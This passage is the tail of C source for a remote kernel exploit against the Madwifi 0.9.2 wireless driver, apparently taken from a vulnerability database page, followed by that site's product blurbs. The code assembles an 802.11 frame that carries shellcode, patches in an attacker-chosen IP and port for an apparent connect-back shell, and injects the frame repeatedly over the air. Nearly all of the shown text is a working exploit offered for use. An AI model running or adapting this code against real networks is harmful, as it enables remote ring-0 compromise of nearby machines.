&nbsp;&nbsp;ptr&nbsp;+=&nbsp;(lsb&nbsp;-&nbsp;(sizeof(u_code)-1));
&nbsp;&nbsp;
&nbsp;&nbsp;memcpy(ptr,&nbsp;u_code,&nbsp;sizeof(u_code)&nbsp;-1);
&nbsp;&nbsp;ptr&nbsp;+=&nbsp;(sizeof(u_code)&nbsp;-1);

&nbsp;&nbsp;memcpy(ptr,&nbsp;ring0_code,&nbsp;sizeof(ring0_code)-1);
&nbsp;&nbsp;ptr&nbsp;+=&nbsp;sizeof(ring0_code)-1;
&nbsp;&nbsp;
&nbsp;&nbsp;for(i=0;&nbsp;i<pad_space;&nbsp;i+=4)&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;*((unsigned&nbsp;int&nbsp;*)(ptr&nbsp;+&nbsp;i))&nbsp;=&nbsp;(IE_ZERO+(i/4));

&nbsp;&nbsp;ptr&nbsp;+=&nbsp;pad_space;

&nbsp;&nbsp;*((unsigned&nbsp;int&nbsp;*)(ptr))&nbsp;=&nbsp;jmp_address;
&nbsp;&nbsp;ptr&nbsp;+=&nbsp;4;

&nbsp;&nbsp;memcpy(ptr,&nbsp;jmp_back,&nbsp;sizeof(jmp_back)-1);
&nbsp;&nbsp;ptr&nbsp;+=&nbsp;sizeof(jmp_back)-1;

&nbsp;&nbsp;return&nbsp;(unsigned&nbsp;char*)frame;&nbsp;
}

void&nbsp;print_frame(unsigned&nbsp;char&nbsp;*frame,&nbsp;unsigned&nbsp;int&nbsp;size)
{
&nbsp;&nbsp;int&nbsp;i;
&nbsp;&nbsp;printf(\"
[printing&nbsp;frame&nbsp;-&nbsp;start]
&nbsp;&nbsp;\");
&nbsp;&nbsp;for(i=1;&nbsp;i<=size;&nbsp;i++)
&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;printf(\"%02x&nbsp;\",&nbsp;frame[i-1]);
&nbsp;&nbsp;&nbsp;&nbsp;if((i&nbsp;%&nbsp;16)&nbsp;==&nbsp;0)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(\"
&nbsp;&nbsp;\");
&nbsp;&nbsp;}
&nbsp;&nbsp;printf(\"
[printing&nbsp;frame&nbsp;-&nbsp;end]
\");
}

void&nbsp;parse_arg(int&nbsp;argc,&nbsp;char&nbsp;**argv)
{
&nbsp;&nbsp;int&nbsp;opt;
&nbsp;&nbsp;struct&nbsp;in_addr&nbsp;in;
&nbsp;&nbsp;while(&nbsp;(opt=getopt(argc,&nbsp;argv,&nbsp;\"j:i:a:p:d:g:\"))&nbsp;!=&nbsp;EOF)
&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;switch(opt)
&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;\'j\':
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;jmp_address&nbsp;=&nbsp;strtoll(optarg,&nbsp;NULL,&nbsp;16);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;\'a\':
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ip&nbsp;=&nbsp;strdup(optarg);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;inet_aton(ip,&nbsp;&in);&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FIX_DWORD(u_code,&nbsp;IP_OFFSET,&nbsp;~(in.s_addr));&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;\'p\':
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;port&nbsp;=&nbsp;atoi(optarg);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FIX_WORD(u_code,&nbsp;PORT_OFFSET,&nbsp;port);&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;\'d\':
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;driver&nbsp;=&nbsp;strdup(optarg);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;\'i\':
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;iface&nbsp;=&nbsp;strdup(optarg);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;\'g\':
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pad_space&nbsp;=&nbsp;atoi(optarg);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;default:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;usage(argv[0]);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(1);
&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;
&nbsp;&nbsp;}
}


int&nbsp;main(int&nbsp;argc,&nbsp;char&nbsp;*argv[])
{
&nbsp;&nbsp;int&nbsp;i=0;
&nbsp;&nbsp;struct&nbsp;tx80211&nbsp;in_tx;
&nbsp;&nbsp;struct&nbsp;tx80211_packet&nbsp;in_packet;
&nbsp;&nbsp;int&nbsp;drivertype;
&nbsp;&nbsp;
&nbsp;&nbsp;parse_arg(argc,&nbsp;argv);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;

&nbsp;&nbsp;if(!iface&nbsp;||&nbsp;!driver&nbsp;||&nbsp;!ip&nbsp;||&nbsp;!port)
&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;usage(argv[0]);
&nbsp;&nbsp;&nbsp;&nbsp;exit(1);
&nbsp;&nbsp;}

&nbsp;&nbsp;printf(&nbsp;\"

Madwifi&nbsp;0.9.2&nbsp;WPA/RSN&nbsp;IE&nbsp;buffer&nbsp;overflow
	&nbsp;exploit&nbsp;code:&nbsp;sgrakkyu&nbsp;<at>&nbsp;antifork.org
\"
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\"--------------------&nbsp;****&nbsp;------------------
\"
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\"[opt-ip]:&nbsp;%s
[opt-port]:&nbsp;%d
[opt-iface]:&nbsp;%s
[opt-driver]:&nbsp;%s
[opt-jump]:&nbsp;0x%08x
[pad]:&nbsp;%d
\"
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\"--------------------&nbsp;****&nbsp;------------------

\",
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ip,&nbsp;port,&nbsp;iface,&nbsp;driver,&nbsp;jmp_address,&nbsp;pad_space);

&nbsp;&nbsp;unsigned&nbsp;char&nbsp;*frame&nbsp;=&nbsp;build_frame();
&nbsp;&nbsp;print_frame(frame,&nbsp;TOTAL_PACKET_LEN);

&nbsp;&nbsp;/*&nbsp;Use&nbsp;the&nbsp;command-line&nbsp;argument&nbsp;as&nbsp;the&nbsp;desired&nbsp;driver&nbsp;type&nbsp;*/
&nbsp;&nbsp;drivertype&nbsp;=&nbsp;tx80211_resolvecard(driver);

&nbsp;&nbsp;/*&nbsp;Validate&nbsp;the&nbsp;driver&nbsp;name&nbsp;specified&nbsp;*/
&nbsp;&nbsp;if&nbsp;(drivertype&nbsp;==&nbsp;INJ_NODRIVER)&nbsp;
&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;fprintf(stderr,&nbsp;\"Driver&nbsp;name&nbsp;not&nbsp;recognized.
\");
&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;-1;
&nbsp;&nbsp;}

&nbsp;&nbsp;if&nbsp;(tx80211_init(&in_tx,&nbsp;iface,&nbsp;drivertype)&nbsp;<&nbsp;0)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;fprintf(stderr,&nbsp;\"Error&nbsp;initializing&nbsp;drive&nbsp;\"%s\".
\",&nbsp;argv[1]);
&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;-1;
&nbsp;&nbsp;}

&nbsp;&nbsp;if&nbsp;((tx80211_getcapabilities(&in_tx)&nbsp;&&nbsp;TX80211_CAP_CTRL)&nbsp;==&nbsp;0)&nbsp;
&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;fprintf(stderr,&nbsp;\"Driver&nbsp;does&nbsp;not&nbsp;support&nbsp;transmitting&nbsp;control&nbsp;frames.
\");
&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;-1;
&nbsp;&nbsp;}

&nbsp;&nbsp;if&nbsp;(tx80211_setchannel(&in_tx,&nbsp;CHANNEL)&nbsp;<&nbsp;0)&nbsp;
&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;fprintf(stderr,&nbsp;\"Error&nbsp;setting&nbsp;channel.
\");
&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;1;
&nbsp;&nbsp;}

&nbsp;&nbsp;if&nbsp;(tx80211_open(&in_tx)&nbsp;<&nbsp;0)&nbsp;
&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;fprintf(stderr,&nbsp;\"Unable&nbsp;to&nbsp;open&nbsp;interface&nbsp;%s.
\",&nbsp;in_tx.ifname);
&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;1;
&nbsp;&nbsp;}

&nbsp;&nbsp;/*&nbsp;Initialized&nbsp;in_packet&nbsp;with&nbsp;packet&nbsp;contents&nbsp;and&nbsp;length&nbsp;of&nbsp;the&nbsp;packet&nbsp;*/
&nbsp;&nbsp;in_packet.packet&nbsp;=&nbsp;frame;
&nbsp;&nbsp;in_packet.plen&nbsp;=&nbsp;TOTAL_PACKET_LEN;

&nbsp;&nbsp;printf(\"[sending&nbsp;packets]:&nbsp;about&nbsp;10&nbsp;a&nbsp;second
\");

&nbsp;&nbsp;while(i&nbsp;<&nbsp;10000)
&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;/*&nbsp;Transmit&nbsp;the&nbsp;packet&nbsp;*/
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(tx80211_txpacket(&in_tx,&nbsp;&in_packet)&nbsp;<&nbsp;0)&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fprintf(stderr,&nbsp;\"Unable&nbsp;to&nbsp;transmit&nbsp;packet.
\");
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;perror(\"txpacket\");
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;1;
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;i++;
&nbsp;&nbsp;&nbsp;&nbsp;usleep(100000);
&nbsp;&nbsp;}
&nbsp;&nbsp;/*&nbsp;Close&nbsp;the&nbsp;socket&nbsp;after&nbsp;transmitting&nbsp;the&nbsp;packet&nbsp;*/
&nbsp;&nbsp;tx80211_close(&in_tx);

&nbsp;&nbsp;return&nbsp;0;
}

&nbsp;
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation